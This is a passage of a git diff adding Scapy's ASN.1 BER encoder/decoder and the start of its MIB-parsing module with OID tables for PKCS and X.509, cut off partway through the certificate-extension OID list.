+class ASN1_BMP_STRING(ASN1_STRING):
+    tag = ASN1_Class_UNIVERSAL.BMP_STRING
+
+class ASN1_SEQUENCE(ASN1_Object):
+    tag = ASN1_Class_UNIVERSAL.SEQUENCE
+    def strshow(self, lvl=0):
+        s = ("  "*lvl)+("# %s:" % self.__class__.__name__)+"\n"
+        for o in self.val:
+            s += o.strshow(lvl=lvl+1)
+        return s
+    
+class ASN1_SET(ASN1_SEQUENCE):
+    tag = ASN1_Class_UNIVERSAL.SET
+
+class ASN1_IPADDRESS(ASN1_STRING):
+    tag = ASN1_Class_UNIVERSAL.IPADDRESS
+
+class ASN1_COUNTER32(ASN1_INTEGER):
+    tag = ASN1_Class_UNIVERSAL.COUNTER32
+
+class ASN1_GAUGE32(ASN1_INTEGER):
+    tag = ASN1_Class_UNIVERSAL.GAUGE32
+
+class ASN1_TIME_TICKS(ASN1_INTEGER):
+    tag = ASN1_Class_UNIVERSAL.TIME_TICKS
+   
+
+conf.ASN1_default_codec = ASN1_Codecs.BER
diff --git a/scapy/asn1/ber.py b/scapy/asn1/ber.py
new file mode 100644
index 0000000..deadf77
--- /dev/null
+++ b/scapy/asn1/ber.py
@@ -0,0 +1,471 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## Modified by Maxence Tury <maxence.tury@ssi.gouv.fr>
+## Acknowledgment: Ralph Broenink
+## This program is published under a GPLv2 license
+
+"""
+Basic Encoding Rules (BER) for ASN.1
+"""
+
+from __future__ import absolute_import
+from scapy.error import warning
+from scapy.compat import *
+from scapy.utils import binrepr,inet_aton,inet_ntoa
+from scapy.asn1.asn1 import ASN1_Decoding_Error,ASN1_Encoding_Error,ASN1_BadTag_Decoding_Error,ASN1_Codecs,ASN1_Class_UNIVERSAL,ASN1_Error,ASN1_DECODING_ERROR,ASN1_BADTAG
+import scapy.modules.six as six
+
+##################
+## BER encoding ##
+##################
+
+
+
+#####[ BER tools ]#####
+
+
+class BER_Exception(Exception):
+    pass
+
+class BER_Encoding_Error(ASN1_Encoding_Error):
+    def __init__(self, msg, encoded=None, remaining=None):
+        Exception.__init__(self, msg)
+        self.remaining = remaining
+        self.encoded = encoded
+    def __str__(self):
+        s = Exception.__str__(self)
+        if isinstance(self.encoded, BERcodec_Object):
+            s+="\n### Already encoded ###\n%s" % self.encoded.strshow()
+        else:
+            s+="\n### Already encoded ###\n%r" % self.encoded
+        s+="\n### Remaining ###\n%r" % self.remaining
+        return s
+
+class BER_Decoding_Error(ASN1_Decoding_Error):
+    def __init__(self, msg, decoded=None, remaining=None):
+        Exception.__init__(self, msg)
+        self.remaining = remaining
+        self.decoded = decoded
+    def __str__(self):
+        s = Exception.__str__(self)
+        if isinstance(self.decoded, BERcodec_Object):
+            s+="\n### Already decoded ###\n%s" % self.decoded.strshow()
+        else:
+            s+="\n### Already decoded ###\n%r" % self.decoded
+        s+="\n### Remaining ###\n%r" % self.remaining
+        return s
+
+class BER_BadTag_Decoding_Error(BER_Decoding_Error, ASN1_BadTag_Decoding_Error):
+    pass
+
+def BER_len_enc(l, size=0):
+        if l <= 127 and size==0:
+            return chb(l)
+        s = b""
+        while l or size>0:
+            s = chb(l&0xff)+s
+            l >>= 8
+            size -= 1
+        if len(s) > 127:
+            raise BER_Exception("BER_len_enc: Length too long (%i) to be encoded [%r]" % (len(s),s))
+        return chb(len(s)|0x80)+s
+def BER_len_dec(s):
+        l = orb(s[0])
+        if not l & 0x80:
+            return l,s[1:]
+        l &= 0x7f
+        if len(s) <= l:
+            raise BER_Decoding_Error("BER_len_dec: Got %i bytes while expecting %i" % (len(s)-1, l),remaining=s)
+        ll = 0
+        for c in s[1:l+1]:
+            ll <<= 8
+            ll |= orb(c)
+        return ll,s[l+1:]
+        
+def BER_num_enc(l, size=1):
+        x=[]
+        while l or size>0:
+            x.insert(0, l & 0x7f)
+            if len(x) > 1:
+                x[0] |= 0x80
+            l >>= 7
+            size -= 1
+        return b"".join(chb(k) for k in x)
+def BER_num_dec(s, cls_id=0):
+        if len(s) == 0:
+            raise BER_Decoding_Error("BER_num_dec: got empty string", remaining=s)
+        x = cls_id
+        for i, c in enumerate(s):
+            c = orb(c)
+            x <<= 7
+            x |= c&0x7f
+            if not c&0x80:
+                break
+        if c&0x80:
+            raise BER_Decoding_Error("BER_num_dec: unfinished number description", remaining=s)
+        return x, s[i+1:]
+
+def BER_id_dec(s):
+    # This returns the tag ALONG WITH THE PADDED CLASS+CONSTRUCTIVE INFO.
+    # Let's recall that bits 8-7 from the first byte of the tag encode
+    # the class information, while bit 6 means primitive or constructive.
+    #
+    # For instance, with low-tag-number b'\x81', class would be 0b10
+    # ('context-specific') and tag 0x01, but we return 0x81 as a whole.
+    # For b'\xff\x22', class would be 0b11 ('private'), constructed, then
+    # padding, then tag 0x22, but we return (0xff>>5)*128^1 + 0x22*128^0.
+    # Why the 5-bit-shifting? Because it provides an unequivocal encoding
+    # on base 128 (note that 0xff would equal 1*128^1 + 127*128^0...),
+    # as we know that bits 5 to 1 are fixed to 1 anyway.
+    #
+    # As long as there is no class differentiation, we have to keep this info
+    # encoded in scapy's tag in order to reuse it for packet building.
+    # Note that tags thus may have to be hard-coded with their extended
+    # information, e.g. a SEQUENCE from asn1.py has a direct tag 0x20|16.
+        x = orb(s[0])
+        if x & 0x1f != 0x1f:
+            # low-tag-number
+            return x,s[1:]
+        else:
+            # high-tag-number
+            return BER_num_dec(s[1:], cls_id=x>>5)
+def BER_id_enc(n):
+        if n < 256:
+            # low-tag-number
+            return chb(n)
+        else:
+            # high-tag-number
+            s = BER_num_enc(n)
+            tag = orb(s[0])             # first byte, as an int
+            tag &= 0x07                 # reset every bit from 8 to 4
+            tag <<= 5                   # move back the info bits on top
+            tag |= 0x1f                 # pad with 1s every bit from 5 to 1
+            return chb(tag) + s[1:]
+
+# The functions below provide implicit and explicit tagging support.
+def BER_tagging_dec(s, hidden_tag=None, implicit_tag=None,
+                    explicit_tag=None, safe=False):
+    # We output the 'real_tag' if it is different from the (im|ex)plicit_tag.
+    real_tag = None
+    if len(s) > 0:
+        err_msg = "BER_tagging_dec: observed tag does not match expected tag"
+        if implicit_tag is not None:
+            ber_id,s = BER_id_dec(s)
+            if ber_id != implicit_tag:
+                if not safe:
+                    raise BER_Decoding_Error(err_msg, remaining=s)
+                else:
+                    real_tag = ber_id
+            s = chb(hash(hidden_tag)) + s
+        elif explicit_tag is not None:
+            ber_id,s = BER_id_dec(s)
+            if ber_id != explicit_tag:
+                if not safe:
+                    raise BER_Decoding_Error(err_msg, remaining=s)
+                else:
+                    real_tag = ber_id
+            l,s = BER_len_dec(s)
+    return real_tag, s
+def BER_tagging_enc(s, implicit_tag=None, explicit_tag=None):
+    if len(s) > 0:
+        if implicit_tag is not None:
+            s = BER_id_enc(implicit_tag) + s[1:]
+        elif explicit_tag is not None:
+            s = BER_id_enc(explicit_tag) + BER_len_enc(len(s)) + s
+    return s
+
+#####[ BER classes ]#####
+
+class BERcodec_metaclass(type):
+    def __new__(cls, name, bases, dct):
+        c = super(BERcodec_metaclass, cls).__new__(cls, name, bases, dct)
+        try:
+            c.tag.register(c.codec, c)
+        except:
+            warning("Error registering %r for %r" % (c.tag, c.codec))
+        return c
+
+
+class BERcodec_Object(six.with_metaclass(BERcodec_metaclass)):
+    codec = ASN1_Codecs.BER
+    tag = ASN1_Class_UNIVERSAL.ANY
+
+    @classmethod
+    def asn1_object(cls, val):
+        return cls.tag.asn1_object(val)
+
+    @classmethod
+    def check_string(cls, s):
+        if not s:
+            raise BER_Decoding_Error("%s: Got empty object while expecting tag %r" %
+                                     (cls.__name__,cls.tag), remaining=s)        
+    @classmethod
+    def check_type(cls, s):
+        cls.check_string(s)
+        tag, remainder = BER_id_dec(s)
+        if cls.tag != tag:
+            raise BER_BadTag_Decoding_Error("%s: Got tag [%i/%#x] while expecting %r" %
+                                            (cls.__name__, tag, tag, cls.tag), remaining=s)
+        return remainder
+    @classmethod
+    def check_type_get_len(cls, s):
+        s2 = cls.check_type(s)
+        if not s2:
+            raise BER_Decoding_Error("%s: No bytes while expecting a length" %
+                                     cls.__name__, remaining=s)
+        return BER_len_dec(s2)
+    @classmethod
+    def check_type_check_len(cls, s):
+        l,s3 = cls.check_type_get_len(s)
+        if len(s3) < l:
+            raise BER_Decoding_Error("%s: Got %i bytes while expecting %i" %
+                                     (cls.__name__, len(s3), l), remaining=s)
+        return l,s3[:l],s3[l:]
+
+    @classmethod
+    def do_dec(cls, s, context=None, safe=False):
+        if context is None:
+            context = cls.tag.context
+        cls.check_string(s)
+        p,_ = BER_id_dec(s)
+        if p not in context:
+            t = s
+            if len(t) > 18:
+                t = t[:15]+b"..."
+            raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p,t), remaining=s)
+        codec = context[p].get_codec(ASN1_Codecs.BER)
+        return codec.dec(s,context,safe)
+
+    @classmethod
+    def dec(cls, s, context=None, safe=False):
+        if not safe:
+            return cls.do_dec(s, context, safe)
+        try:
+            return cls.do_dec(s, context, safe)
+        except BER_BadTag_Decoding_Error as e:
+            o,remain = BERcodec_Object.dec(e.remaining, context, safe)
+            return ASN1_BADTAG(o),remain
+        except BER_Decoding_Error as e:
+            return ASN1_DECODING_ERROR(s, exc=e),""
+        except ASN1_Error as e:
+            return ASN1_DECODING_ERROR(s, exc=e),""
+
+    @classmethod
+    def safedec(cls, s, context=None):
+        return cls.dec(s, context, safe=True)
+
+
+    @classmethod
+    def enc(cls, s):
+        if isinstance(s, six.string_types):
+            return BERcodec_STRING.enc(s)
+        else:
+            return BERcodec_INTEGER.enc(int(s))
+
+ASN1_Codecs.BER.register_stem(BERcodec_Object)
+
+
+##########################
+#### BERcodec objects ####
+##########################
+
+class BERcodec_INTEGER(BERcodec_Object):
+    tag = ASN1_Class_UNIVERSAL.INTEGER
+    @classmethod
+    def enc(cls, i):
+        s = []
+        while True:
+            s.append(i&0xff)
+            if -127 <= i < 0:
+                break
+            if 128 <= i <= 255:
+                s.append(0)
+            i >>= 8
+            if not i:
+                break
+        s = [chb(hash(c)) for c in s]
+        s.append(BER_len_enc(len(s)))
+        s.append(chb(hash(cls.tag)))
+        s.reverse()
+        return b"".join(s)
+    @classmethod
+    def do_dec(cls, s, context=None, safe=False):
+        l,s,t = cls.check_type_check_len(s)
+        x = 0
+        if s:
+            if orb(s[0])&0x80: # negative int
+                x = -1
+            for c in s:
+                x <<= 8
+                x |= orb(c)
+        return cls.asn1_object(x),t
+    
+class BERcodec_BOOLEAN(BERcodec_INTEGER):
+    tag = ASN1_Class_UNIVERSAL.BOOLEAN
+
+class BERcodec_BIT_STRING(BERcodec_Object):
+    tag = ASN1_Class_UNIVERSAL.BIT_STRING
+    @classmethod
+    def do_dec(cls, s, context=None, safe=False):
+        # /!\ the unused_bits information is lost after this decoding
+        l,s,t = cls.check_type_check_len(s)
+        if len(s) > 0:
+            unused_bits = orb(s[0])
+            if safe and unused_bits > 7:
+                raise BER_Decoding_Error("BERcodec_BIT_STRING: too many unused_bits advertised", remaining=s)
+            s = "".join(binrepr(orb(x)).zfill(8) for x in s[1:])
+            if unused_bits > 0:
+                s = s[:-unused_bits]
+            return cls.tag.asn1_object(s),t
+        else:
+            raise BER_Decoding_Error("BERcodec_BIT_STRING found no content (not even unused_bits byte)", remaining=s)
+    @classmethod
+    def enc(cls,s):
+        # /!\ this is DER encoding (bit strings are only zero-bit padded)
+        s = raw(s)
+        if len(s) % 8 == 0:
+            unused_bits = 0
+        else:
+            unused_bits = 8 - len(s)%8
+            s += b"0"*unused_bits
+        s = b"".join(chb(int(b"".join(chb(y) for y in x),2)) for x in zip(*[iter(s)]*8))
+        s = chb(unused_bits) + s
+        return chb(hash(cls.tag))+BER_len_enc(len(s))+s
+
+class BERcodec_STRING(BERcodec_Object):
+    tag = ASN1_Class_UNIVERSAL.STRING
+    @classmethod
+    def enc(cls,s):
+        s = raw(s)
+        return chb(hash(cls.tag))+BER_len_enc(len(s))+s  # Be sure we are encoding bytes
+    @classmethod
+    def do_dec(cls, s, context=None, safe=False):
+        l,s,t = cls.check_type_check_len(s)
+        return cls.tag.asn1_object(s),t
+
+class BERcodec_NULL(BERcodec_INTEGER):
+    tag = ASN1_Class_UNIVERSAL.NULL
+    @classmethod
+    def enc(cls, i):
+        if i == 0:
+            return chb(hash(cls.tag))+b"\0"
+        else:
+            return super(cls,cls).enc(i)
+
+class BERcodec_OID(BERcodec_Object):
+    tag = ASN1_Class_UNIVERSAL.OID
+    @classmethod
+    def enc(cls, oid):
+        oid = raw(oid)
+        lst = [int(x) for x in oid.strip(b".").split(b".")]
+        if len(lst) >= 2:
+            lst[1] += 40*lst[0]
+            del(lst[0])
+        s = b"".join(BER_num_enc(k) for k in lst)
+        return chb(hash(cls.tag))+BER_len_enc(len(s))+s
+    @classmethod
+    def do_dec(cls, s, context=None, safe=False):
+        l,s,t = cls.check_type_check_len(s)
+        lst = []
+        while s:
+            l,s = BER_num_dec(s)
+            lst.append(l)
+        if (len(lst) > 0):
+            lst.insert(0,lst[0]//40)
+            lst[1] %= 40
+        return cls.asn1_object(b".".join(str(k).encode('ascii') for k in lst)), t
+
+class BERcodec_ENUMERATED(BERcodec_INTEGER):
+    tag = ASN1_Class_UNIVERSAL.ENUMERATED
+
+class BERcodec_UTF8_STRING(BERcodec_STRING):
+    tag = ASN1_Class_UNIVERSAL.UTF8_STRING
+
+class BERcodec_NUMERIC_STRING(BERcodec_STRING):
+    tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING
+
+class BERcodec_PRINTABLE_STRING(BERcodec_STRING):
+    tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING
+
+class BERcodec_T61_STRING(BERcodec_STRING):
+    tag = ASN1_Class_UNIVERSAL.T61_STRING
+
+class BERcodec_VIDEOTEX_STRING(BERcodec_STRING):
+    tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING
+
+class BERcodec_IA5_STRING(BERcodec_STRING):
+    tag = ASN1_Class_UNIVERSAL.IA5_STRING
+
+class BERcodec_UTC_TIME(BERcodec_STRING):
+    tag = ASN1_Class_UNIVERSAL.UTC_TIME
+
+class BERcodec_GENERALIZED_TIME(BERcodec_STRING):
+    tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME
+
+class BERcodec_ISO646_STRING(BERcodec_STRING):
+    tag = ASN1_Class_UNIVERSAL.ISO646_STRING
+
+class BERcodec_UNIVERSAL_STRING(BERcodec_STRING):
+    tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING
+
+class BERcodec_BMP_STRING(BERcodec_STRING):
+    tag = ASN1_Class_UNIVERSAL.BMP_STRING
+
+class BERcodec_SEQUENCE(BERcodec_Object):
+    tag = ASN1_Class_UNIVERSAL.SEQUENCE
+    @classmethod
+    def enc(cls, l):
+        if not isinstance(l, bytes):
+            l = b"".join(x.enc(cls.codec) for x in l)
+        return chb(hash(cls.tag))+BER_len_enc(len(l))+l
+    @classmethod
+    def do_dec(cls, s, context=None, safe=False):
+        if context is None:
+            context = cls.tag.context
+        l,st = cls.check_type_get_len(s) # we may have len(s) < l
+        s,t = st[:l],st[l:]
+        obj = []
+        while s:
+            try:
+                o,s = BERcodec_Object.dec(s, context, safe)
+            except BER_Decoding_Error as err:
+                err.remaining += t
+                if err.decoded is not None:
+                    obj.append(err.decoded)
+                err.decoded = obj
+                raise 
+            obj.append(o)
+        if len(st) < l:
+            raise BER_Decoding_Error("Not enough bytes to decode sequence", decoded=obj)
+        return cls.asn1_object(obj),t
+
+class BERcodec_SET(BERcodec_SEQUENCE):
+    tag = ASN1_Class_UNIVERSAL.SET
+
+class BERcodec_IPADDRESS(BERcodec_STRING):
+    tag = ASN1_Class_UNIVERSAL.IPADDRESS
+    @classmethod
+    def enc(cls, ipaddr_ascii):
+        try:
+            s = inet_aton(ipaddr_ascii)
+        except Exception:
+            raise BER_Encoding_Error("IPv4 address could not be encoded") 
+        return chb(hash(cls.tag))+BER_len_enc(len(s))+s
+    @classmethod
+    def do_dec(cls, s, context=None, safe=False):
+        l,s,t = cls.check_type_check_len(s)
+        try:
+            ipaddr_ascii = inet_ntoa(s)
+        except Exception:
+            raise BER_Decoding_Error("IP address could not be decoded", remaining=s)
+        return cls.asn1_object(ipaddr_ascii), t
+
+class BERcodec_COUNTER32(BERcodec_INTEGER):
+    tag = ASN1_Class_UNIVERSAL.COUNTER32
+
+class BERcodec_GAUGE32(BERcodec_INTEGER):
+    tag = ASN1_Class_UNIVERSAL.GAUGE32
+
+class BERcodec_TIME_TICKS(BERcodec_INTEGER):
+    tag = ASN1_Class_UNIVERSAL.TIME_TICKS
diff --git a/scapy/asn1/mib.py b/scapy/asn1/mib.py
new file mode 100644
index 0000000..697887b
--- /dev/null
+++ b/scapy/asn1/mib.py
@@ -0,0 +1,614 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## Modified by Maxence Tury <maxence.tury@ssi.gouv.fr>
+## This program is published under a GPLv2 license
+
+"""
+Management Information Base (MIB) parsing
+"""
+
+from __future__ import absolute_import
+import re
+from glob import glob
+from scapy.dadict import DADict,fixname
+from scapy.config import conf
+from scapy.utils import do_graph
+import scapy.modules.six as six
+from scapy.compat import *
+
+#################
+## MIB parsing ##
+#################
+
+_mib_re_integer = re.compile("^[0-9]+$")
+_mib_re_both = re.compile("^([a-zA-Z_][a-zA-Z0-9_-]*)\(([0-9]+)\)$")
+_mib_re_oiddecl = re.compile("$\s*([a-zA-Z0-9_-]+)\s+OBJECT([^:\{\}]|\{[^:]+\})+::=\s*\{([^\}]+)\}",re.M)
+_mib_re_strings = re.compile('"[^"]*"')
+_mib_re_comments = re.compile('--.*(\r|\n)')
+
+class MIBDict(DADict):
+    def _findroot(self, x):
+        if x.startswith("."):
+            x = x[1:]
+        if not x.endswith("."):
+            x += "."
+        max=0
+        root="."
+        for k in six.iterkeys(self):
+            if x.startswith(self[k]+"."):
+                if max < len(self[k]):
+                    max = len(self[k])
+                    root = k
+        return root, x[max:-1]
+    def _oidname(self, x):
+        root,remainder = self._findroot(x)
+        return root+remainder
+    def _oid(self, x):
+        xl = x.strip(".").split(".")
+        p = len(xl)-1
+        while p >= 0 and _mib_re_integer.match(xl[p]):
+            p -= 1
+        if p != 0 or xl[p] not in self:
+            return x
+        xl[p] = self[xl[p]] 
+        return ".".join(xl[p:])
+    def _make_graph(self, other_keys=None, **kargs):
+        if other_keys is None:
+            other_keys = []
+        nodes = [(k, self[k]) for k in six.iterkeys(self)]
+        oids = [self[k] for k in six.iterkeys(self)]
+        for k in other_keys:
+            if k not in oids:
+                nodes.append(self.oidname(k),k)
+        s = 'digraph "mib" {\n\trankdir=LR;\n\n'
+        for k,o in nodes:
+            s += '\t"%s" [ label="%s"  ];\n' % (o,k)
+        s += "\n"
+        for k,o in nodes:
+            parent,remainder = self._findroot(o[:-1])
+            remainder = remainder[1:]+o[-1]
+            if parent != ".":
+                parent = self[parent]
+            s += '\t"%s" -> "%s" [label="%s"];\n' % (parent, o,remainder)
+        s += "}\n"
+        do_graph(s, **kargs)
+
+
+def mib_register(ident, value, the_mib, unresolved):
+    if ident in the_mib or ident in unresolved:
+        return ident in the_mib
+    resval = []
+    not_resolved = 0
+    for v in value:
+        if _mib_re_integer.match(v):
+            resval.append(v)
+        else:
+            v = fixname(plain_str(v))
+            if v not in the_mib:
+                not_resolved = 1
+            if v in the_mib:
+                v = the_mib[v]
+            elif v in unresolved:
+                v = unresolved[v]
+            if isinstance(v, list):
+                resval += v
+            else:
+                resval.append(v)
+    if not_resolved:
+        unresolved[ident] = resval
+        return False
+    else:
+        the_mib[ident] = resval
+        keys = list(unresolved)
+        i = 0
+        while i < len(keys):
+            k = keys[i]
+            if mib_register(k,unresolved[k], the_mib, {}):
+                del(unresolved[k])
+                del(keys[i])
+                i = 0
+            else:
+                i += 1
+                    
+        return True
+
+
+def load_mib(filenames):
+    the_mib = {'iso': ['1']}
+    unresolved = {}
+    for k in six.iterkeys(conf.mib):
+        mib_register(k, conf.mib[k].split("."), the_mib, unresolved)
+
+    if isinstance(filenames, (str, bytes)):
+        filenames = [filenames]
+    for fnames in filenames:
+        for fname in glob(fnames):
+            f = open(fname)
+            text = f.read()
+            cleantext = " ".join(_mib_re_strings.split(" ".join(_mib_re_comments.split(text))))
+            for m in _mib_re_oiddecl.finditer(cleantext):
+                gr = m.groups()
+                ident,oid = gr[0],gr[-1]
+                ident=fixname(ident)
+                oid = oid.split()
+                for i, elt in enumerate(oid):
+                    m = _mib_re_both.match(elt)
+                    if m:
+                        oid[i] = m.groups()[1]
+                mib_register(ident, oid, the_mib, unresolved)
+
+    newmib = MIBDict(_name="MIB")
+    for k,o in six.iteritems(the_mib):
+        newmib[k]=".".join(o)
+    for k,o in six.iteritems(unresolved):
+        newmib[k]=".".join(o)
+
+    conf.mib=newmib
+
+
+####################
+## OID references ##
+####################
+
+####### pkcs1 #######
+
+pkcs1_oids = {
+        "rsaEncryption"                     : "1.2.840.113549.1.1.1",
+        "md2WithRSAEncryption"              : "1.2.840.113549.1.1.2",
+        "md4WithRSAEncryption"              : "1.2.840.113549.1.1.3",
+        "md5WithRSAEncryption"              : "1.2.840.113549.1.1.4",
+        "sha1-with-rsa-signature"           : "1.2.840.113549.1.1.5",
+        "rsaOAEPEncryptionSET"              : "1.2.840.113549.1.1.6",
+        "id-RSAES-OAEP"                     : "1.2.840.113549.1.1.7",
+        "id-mgf1"                           : "1.2.840.113549.1.1.8",
+        "id-pSpecified"                     : "1.2.840.113549.1.1.9",
+        "rsassa-pss"                        : "1.2.840.113549.1.1.10",
+        "sha256WithRSAEncryption"           : "1.2.840.113549.1.1.11",
+        "sha384WithRSAEncryption"           : "1.2.840.113549.1.1.12",
+        "sha512WithRSAEncryption"           : "1.2.840.113549.1.1.13",
+        "sha224WithRSAEncryption"           : "1.2.840.113549.1.1.14"
+        }
+
+####### secsig oiw #######
+
+secsig_oids = {
+        "sha1"                              : "1.3.14.3.2.26"
+        }
+
+####### pkcs9 #######
+
+pkcs9_oids = {
+        "modules"                           : "1.2.840.113549.1.9.0",
+        "emailAddress"                      : "1.2.840.113549.1.9.1",
+        "unstructuredName"                  : "1.2.840.113549.1.9.2",
+        "contentType"                       : "1.2.840.113549.1.9.3",
+        "messageDigest"                     : "1.2.840.113549.1.9.4",
+        "signing-time"                      : "1.2.840.113549.1.9.5",
+        "countersignature"                  : "1.2.840.113549.1.9.6",
+        "challengePassword"                 : "1.2.840.113549.1.9.7",
+        "unstructuredAddress"               : "1.2.840.113549.1.9.8",
+        "extendedCertificateAttributes"     : "1.2.840.113549.1.9.9",
+        "signingDescription"                : "1.2.840.113549.1.9.13",
+        "extensionRequest"                  : "1.2.840.113549.1.9.14",
+        "smimeCapabilities"                 : "1.2.840.113549.1.9.15",
+        "smime"                             : "1.2.840.113549.1.9.16",
+        "pgpKeyID"                          : "1.2.840.113549.1.9.17",
+        "friendlyName"                      : "1.2.840.113549.1.9.20",
+        "localKeyID"                        : "1.2.840.113549.1.9.21",
+        "certTypes"                         : "1.2.840.113549.1.9.22",
+        "crlTypes"                          : "1.2.840.113549.1.9.23",
+        "pkcs-9-oc"                         : "1.2.840.113549.1.9.24",
+        "pkcs-9-at"                         : "1.2.840.113549.1.9.25",
+        "pkcs-9-sx"                         : "1.2.840.113549.1.9.26",
+        "pkcs-9-mr"                         : "1.2.840.113549.1.9.27",
+        "id-aa-CMSAlgorithmProtection"      : "1.2.840.113549.1.9.52"
+        }
+
+####### x509 #######
+
+attributeType_oids = {
+        "objectClass"                       : "2.5.4.0",
+        "aliasedEntryName"                  : "2.5.4.1",
+        "knowledgeInformation"              : "2.5.4.2",
+        "commonName"                        : "2.5.4.3",
+        "surname"                           : "2.5.4.4",
+        "serialNumber"                      : "2.5.4.5",
+        "countryName"                       : "2.5.4.6",
+        "localityName"                      : "2.5.4.7",
+        "stateOrProvinceName"               : "2.5.4.8",
+        "streetAddress"                     : "2.5.4.9",
+        "organizationName"                  : "2.5.4.10",
+        "organizationUnitName"              : "2.5.4.11",
+        "title"                             : "2.5.4.12",
+        "description"                       : "2.5.4.13",
+        "searchGuide"                       : "2.5.4.14",
+        "businessCategory"                  : "2.5.4.15",
+        "postalAddress"                     : "2.5.4.16",
+        "postalCode"                        : "2.5.4.17",
+        "postOfficeBox"                     : "2.5.4.18",
+        "physicalDeliveryOfficeName"        : "2.5.4.19",
+        "telephoneNumber"                   : "2.5.4.20",
+        "telexNumber"                       : "2.5.4.21",
+        "teletexTerminalIdentifier"         : "2.5.4.22",
+        "facsimileTelephoneNumber"          : "2.5.4.23",
+        "x121Address"                       : "2.5.4.24",
+        "internationalISDNNumber"           : "2.5.4.25",
+        "registeredAddress"                 : "2.5.4.26",
+        "destinationIndicator"              : "2.5.4.27",
+        "preferredDeliveryMethod"           : "2.5.4.28",
+        "presentationAddress"               : "2.5.4.29",
+        "supportedApplicationContext"       : "2.5.4.30",
+        "member"                            : "2.5.4.31",
+        "owner"                             : "2.5.4.32",
+        "roleOccupant"                      : "2.5.4.33",
+        "seeAlso"                           : "2.5.4.34",
+        "userPassword"                      : "2.5.4.35",
+        "userCertificate"                   : "2.5.4.36",
+        "cACertificate"                     : "2.5.4.37",
+        "authorityRevocationList"           : "2.5.4.38",
+        "certificateRevocationList"         : "2.5.4.39",
+        "crossCertificatePair"              : "2.5.4.40",
+        "name"                              : "2.5.4.41",
+        "givenName"                         : "2.5.4.42",
+        "initials"                          : "2.5.4.43",
+        "generationQualifier"               : "2.5.4.44",
+        "uniqueIdentifier"                  : "2.5.4.45",
+        "dnQualifier"                       : "2.5.4.46",
+        "enhancedSearchGuide"               : "2.5.4.47",
+        "protocolInformation"               : "2.5.4.48",
+        "distinguishedName"                 : "2.5.4.49",
+        "uniqueMember"                      : "2.5.4.50",
+        "houseIdentifier"                   : "2.5.4.51",
+        "supportedAlgorithms"               : "2.5.4.52",
+        "deltaRevocationList"               : "2.5.4.53",
+        "dmdName"                           : "2.5.4.54",
+        "clearance"                         : "2.5.4.55",
+        "defaultDirQop"                     : "2.5.4.56",
+        "attributeIntegrityInfo"            : "2.5.4.57",
+        "attributeCertificate"              : "2.5.4.58",
+        "attributeCertificateRevocationList": "2.5.4.59",
+        "confKeyInfo"                       : "2.5.4.60",
+        "aACertificate"                     : "2.5.4.61",
+        "attributeDescriptorCertificate"    : "2.5.4.62",
+        "attributeAuthorityRevocationList"  : "2.5.4.63",
+        "family-information"                : "2.5.4.64",
+        "pseudonym"                         : "2.5.4.65",
+        "communicationsService"             : "2.5.4.66",
+        "communicationsNetwork"             : "2.5.4.67",
+        "certificationPracticeStmt"         : "2.5.4.68",
+        "certificatePolicy"                 : "2.5.4.69",
+        "pkiPath"                           : "2.5.4.70",
+        "privPolicy"                        : "2.5.4.71",
+        "role"                              : "2.5.4.72",
+        "delegationPath"                    : "2.5.4.73",
+        "protPrivPolicy"                    : "2.5.4.74",
+        "xMLPrivilegeInfo"                  : "2.5.4.75",
+        "xmlPrivPolicy"                     : "2.5.4.76",
+        "uuidpair"                          : "2.5.4.77",
+        "tagOid"                            : "2.5.4.78",
+        "uiiFormat"                         : "2.5.4.79",
+        "uiiInUrh"                          : "2.5.4.80",
+        "contentUrl"                        : "2.5.4.81",
+        "permission"                        : "2.5.4.82",
+        "uri"                               : "2.5.4.83",
+        "pwdAttribute"                      : "2.5.4.84",
+        "userPwd"                           : "2.5.4.85",
+        "urn"                               : "2.5.4.86",
+        "url"                               : "2.5.4.87",
+        "utmCoordinates"                    : "2.5.4.88",
+        "urnC"                              : "2.5.4.89",
+        "uii"                               : "2.5.4.90",
+        "epc"                               : "2.5.4.91",
+        "tagAfi"                            : "2.5.4.92",
+        "epcFormat"                         : "2.5.4.93",
+        "epcInUrn"                          : "2.5.4.94",
+        "ldapUrl"                           : "2.5.4.95",
+        "ldapUrl"                           : "2.5.4.96",
+        "organizationIdentifier"            : "2.5.4.97"
+        }
+
+certificateExtension_oids = {
+        "authorityKeyIdentifier"            : "2.5.29.1",
+        "keyAttributes"                     : "2.5.29.2",
+        "certificatePolicies"               : "2.5.29.3",
+        "keyUsageRestriction"               : "2.5.29.4",
+        "policyMapping"                     : "2.5.29.5",
+        "subtreesConstraint"                : "2.5.29.6",
+        "subjectAltName"                    : "2.5.29.7",
+        "issuerAltName"                     : "2.5.29.8",
+        "subjectDirectoryAttributes"        : "2.5.29.9",
+        "basicConstraints"                  : "2.5.29.10",
+        "subjectKeyIdentifier"              : "2.5.29.14",
+        "keyUsage"                          : "2.5.29.15",
+        "privateKeyUsagePeriod"             : "2.5.29.16",
+        "subjectAltName"                    : "2.5.29.17",
+        "issuerAltName"                     : "2.5.29.18",
+        "basicConstraints"                  : "2.5.29.19",
+        "cRLNumber"                         : "2.5.29.20",
+        "reasonCode"                        : "2.5.29.21",
+        "expirationDate"                    : "2.5.29.22",
+        "instructionCode"                   : "2.5.29.23",
+        "invalidityDate"                    : "2.5.29.24",
+        "cRLDistributionPoints"             : "2.5.29.25",
+        "issuingDistributionPoint"          : "2.5.29.26",
+        "deltaCRLIndicator"                 : "2.5.29.27",
+        "issuingDistributionPoint"          : "2.5.29.28",
+        "certificateIssuer"                 : "2.5.29.29",
+        "nameConstraints"                   : "2.5.29.30",
+        "cRLDistributionPoints"             : "2.5.29.31",
+        "certificatePolicies"               : "2.5.29.32",
+        "policyMappings"                    : "2.5.29.33",
+        "policyConstraints"                 : "2.5.29.34",
+        "authorityKeyIdentifier"            : "2.5.29.35",
+        "policyConstraints"                 : "2.5.29.36",
+        "extKeyUsage"                       : "2.5.29.37",
